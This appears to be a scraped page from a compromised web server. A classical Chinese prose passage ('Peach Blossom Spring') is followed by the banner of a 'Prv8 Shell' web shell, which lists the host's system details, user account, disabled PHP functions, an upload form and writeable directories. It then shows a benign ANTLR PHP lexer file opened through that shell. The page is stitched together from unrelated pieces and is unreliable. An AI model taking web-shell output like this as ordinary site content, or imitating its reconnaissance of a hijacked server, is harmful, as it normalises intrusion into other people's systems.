晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/libraries/antlr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/libraries/antlr/AntlrLexer.php
<?php
/**
 * Base class for lexers
 */
abstract class AntlrLexer extends BaseRecognizer{
	public static $DEFAULT_TOKEN_CHANNEL = 0;
	protected $input;
	
	public function __construct($input, $state=null) {
		if($state==null){
			$state = new RecognizerSharedState();
		}
		$this->state = $state;
		$this->input = $input;
	}
	
	public function reset() {
		parent::reset(); // reset all recognizer state variables
		// wack Lexer state variables
		if ( $this->input!=null ) {
			$this->input->seek(0); // rewind the input
		}
		if ( $this->state==null ) {
			return; // no shared state work to do
		}
		$this->state->token = null;
		$this->state->type = TokenConst::$INVALID_TOKEN_TYPE;
		$this->state->channel = TokenConst::$DEFAULT_CHANNEL;
		$this->state->tokenStartCharIndex = -1;
		$this->state->tokenStartCharPositionInLine = -1;
		$this->state->tokenStartLine = -1;
		$this->state->text = null;
	}
	
	
	/** Return a token from this source; i.e., match a token on the char
	 *  stream.
	 */
	public function nextToken() {
		while (true) {
			$this->state->token = null;
			$this->state->channel = 0;//Token::DEFAULT_CHANNEL;
			$this->state->tokenStartCharIndex = $this->input->index();
			$this->state->tokenStartCharPositionInLine = $this->input->getCharPositionInLine();
			$this->state->tokenStartLine = $this->input->getLine();
			$this->state->text = null;
			if ( $this->input->LA(1)==CharStreamConst::$EOF ) {
				return TokenConst::$EOF_TOKEN;
			}
			try {
				$this->mTokens();
				if ( $this->state->token==null ) {
					$this->emit();
				}
				else if ( $this->state->token==Token::$SKIP_TOKEN ) {
					continue;
				}
				return $this->state->token;
			}
			catch (NoViableAltException $nva) {
				$this->reportError($nva);
				$this->recover($nva); // throw out current char and try again
			}
			catch (RecognitionException $re) {
				$this->reportError($re);
				// match() routine has already called recover()
			}
		}
	}
	
	/** Instruct the lexer to skip creating a token for current lexer rule
	 *  and look for another token.  nextToken() knows to keep looking when
	 *  a lexer rule finishes with token set to SKIP_TOKEN.  Recall that
	 *  if token==null at end of any token rule, it creates one for you
	 *  and emits it.
	 */
	public function skip() {
		$this->state->token = TokenConst::$SKIP_TOKEN;
	}

	/** This is the lexer entry point that sets instance var 'token' */
	public abstract function mTokens();

	/** Set the char stream and reset the lexer */
	public function setCharStream($input) {
		$this->input = null;
		$this->reset();
		$this->input = $input;
	}

	public function getCharStream() {
		return $this->input;
	}
	
	public function getSourceName() {
		return $this->input->getSourceName();
	}
	
	/** Currently does not support multiple emits per nextToken invocation
	 *  for efficiency reasons.  Subclass and override this method and
	 *  nextToken (to push tokens into a list and pull from that list rather
	 *  than a single variable as this implementation does).
	 */
	/** The standard method called to automatically emit a token at the
	 *  outermost lexical rule.  The token object should point into the
	 *  char buffer start..stop.  If there is a text override in 'text',
	 *  use that to set the token's text.  Override this method to emit
	 *  custom Token objects.
	 *
	 *  If you are building trees, then you should also override
	 *  Parser or TreeParser.getMissingSymbol().
	 */
	public function emit($token=null) {
		if($token==null){
			$token = CommonToken::forInput($this->input, $this->state->type, $this->state->channel,
				$this->state->tokenStartCharIndex, $this->getCharIndex()-1);
			$token->setLine($this->state->tokenStartLine);
			$token->setText($this->state->text);
			$token->setCharPositionInLine($this->state->tokenStartCharPositionInLine);
		}
		$this->state->token = $token;
		return $token;
	}
	
	function matchString($s){
		$i = 0;
		while ( $i<strlen($s)) {
			if ( $this->input->LA(1)!=charAt($s, $i) ) {
				if ( $this->state->backtracking>0 ) {
					$this->state->failed = true;
					return;
				}
				$mte = new MismatchedTokenException(charAt($s, $i), $this->input);
				$this->recover($mte);
				throw $mte;
			}
			$i++;
			$this->input->consume();
			$state->failed = false;
		}
	}
	
	public function matchAny() {
		$this->input->consume();
	}
	
	public function matchChar($c) {
		if ($this->input->LA(1)!=$c ) {
			if ( $this->state->backtracking>0 ) {
				$this->state->failed = true;
				return;
			}
			$mte = new MismatchedTokenException($c, $this->input);
			$this->recover($mte);  // don't really recover; just consume in lexer
			throw $mte;
		}
		$this->input->consume();
		$this->state->failed = false;
	}
	
	public function matchRange($a, $b) {
		if ( $this->input->LA(1)<$a || $this->input->LA(1)>$b ) {
			if ( $this->state->backtracking>0 ) {
				$this->state->failed = true;
				return;
			}
			$mre = new MismatchedRangeException($a, $b, $this->input);
			$this->recover($mre);
			throw $mre;
		}
		$this->input->consume();
		$this->state->failed = false;
	}
	
	public function getLine() {
		return $this->input->getLine();
	}

	public function getCharPositionInLine() {
		return $this->input->getCharPositionInLine();
	}
	
	/** What is the index of the current character of lookahead? */
	public function getCharIndex() {
		return $this->input->index();
	}
	

	/** Return the text matched so far for the current token or any
	 *  text override.
	 */
	public function getText() {
		if ( $this->state->text!=null ) {
			return $this->state->text;
		}
		return $this->input->substring($this->state->tokenStartCharIndex,$this->getCharIndex()-1);
	}

	/** Set the complete text of this token; it wipes any previous
	 *  changes to the text.
	 */
	public function setText($text) {
		$this->state->text = $text;
	}
	
	public function reportError($e) {
		/** TODO: not thought about recovery in lexer yet.
		 *
		// if we've already reported an error and have not matched a token
		// yet successfully, don't report any errors.
		if ( errorRecovery ) {
			//System.err.print("[SPURIOUS] ");
			return;
		}
		errorRecovery = true;
		 */

		$this->displayRecognitionError($this->getTokenNames(), $e);
	}
	
	public function getErrorMessage($e, $tokenNames) {
		$msg = null;
		if ( $e instanceof MismatchedTokenException ) {
			$mte = $e;
			$msg = "mismatched character ".$this->getCharErrorDisplay($e->c).
				" expecting ".$this->getCharErrorDisplay($mte->expecting);
		}
		else if ( $e instanceof NoViableAltException ) {
			$nvae = $e;
			// for development, can add "decision=<<"+nvae.grammarDecisionDescription+">>"
			// and "(decision="+nvae.decisionNumber+") and
			// "state "+nvae.stateNumber
			$msg = "no viable alternative at character ".$this->getCharErrorDisplay($e->c);
		}
		else if ( $e instanceof EarlyExitException ) {
			$eee = $e;
			// for development, can add "(decision="+eee.decisionNumber+")"
			$msg = "required (...)+ loop did not match anything at character ".$this->getCharErrorDisplay($e->c);
		}
		else if ( $e instanceof MismatchedNotSetException ) {
			$mse = $e;
			$msg = "mismatched character ".$this->getCharErrorDisplay($e->c)." expecting set ".$mse->expecting;
		}
		else if ( $e instanceof MismatchedSetException ) {
			$mse = $e;
			$msg = "mismatched character ".$this->getCharErrorDisplay($e->c)." expecting set ".$mse->expecting;
		}
		else if ( $e instanceof MismatchedRangeException ) {
			$mre = $e;
			$msg = "mismatched character ".$this->getCharErrorDisplay($e->c)." expecting set ".
				  $this->getCharErrorDisplay($mre->a)."..".$this->getCharErrorDisplay($mre->b);
		}
		else {
			$msg = parent::getErrorMessage($e, $tokenNames);
		}
		return $msg;
	}
	
	public function getCharErrorDisplay($c) {
		$s = chr($c);
		switch ( $s ) {
			case '\n' :
				$s = "\\n";
				break;
			case '\t' :
				$s = "\\t";
				break;
			case '\r' :
				$s = "\\r";
				break;
		}
		if ($c==TokenConst::$EOF){
			$s = "<EOF>";
		}
		return "'".$s."'";
	}
	
	/** Lexers can normally match any char in it's vocabulary after matching
	 *  a token, so do the easy thing and just kill a character and hope
	 *  it all works out.  You can instead use the rule invocation stack
	 *  to do sophisticated error recovery if you are in a fragment rule.
	 */
	public function recover($re) {
		$this->input->consume();
	}
	
	
	public function traceIn($ruleName, $ruleIndex)  {
		$inputSymbol = $this->input->LT(1)." line=".$this->getLine().":".$this->getCharPositionInLine();
		parent::traceIn($ruleName, $ruleIndex, $inputSymbol);
	}

	public function traceOut($ruleName, $ruleIndex)  {
		$inputSymbol = $this->input->LT(1)." line=".$this->getLine().":".$this->getCharPositionInLine();
		parent::traceOut($ruleName, $ruleIndex, $inputSymbol);
	}
}

?>

haha - 2025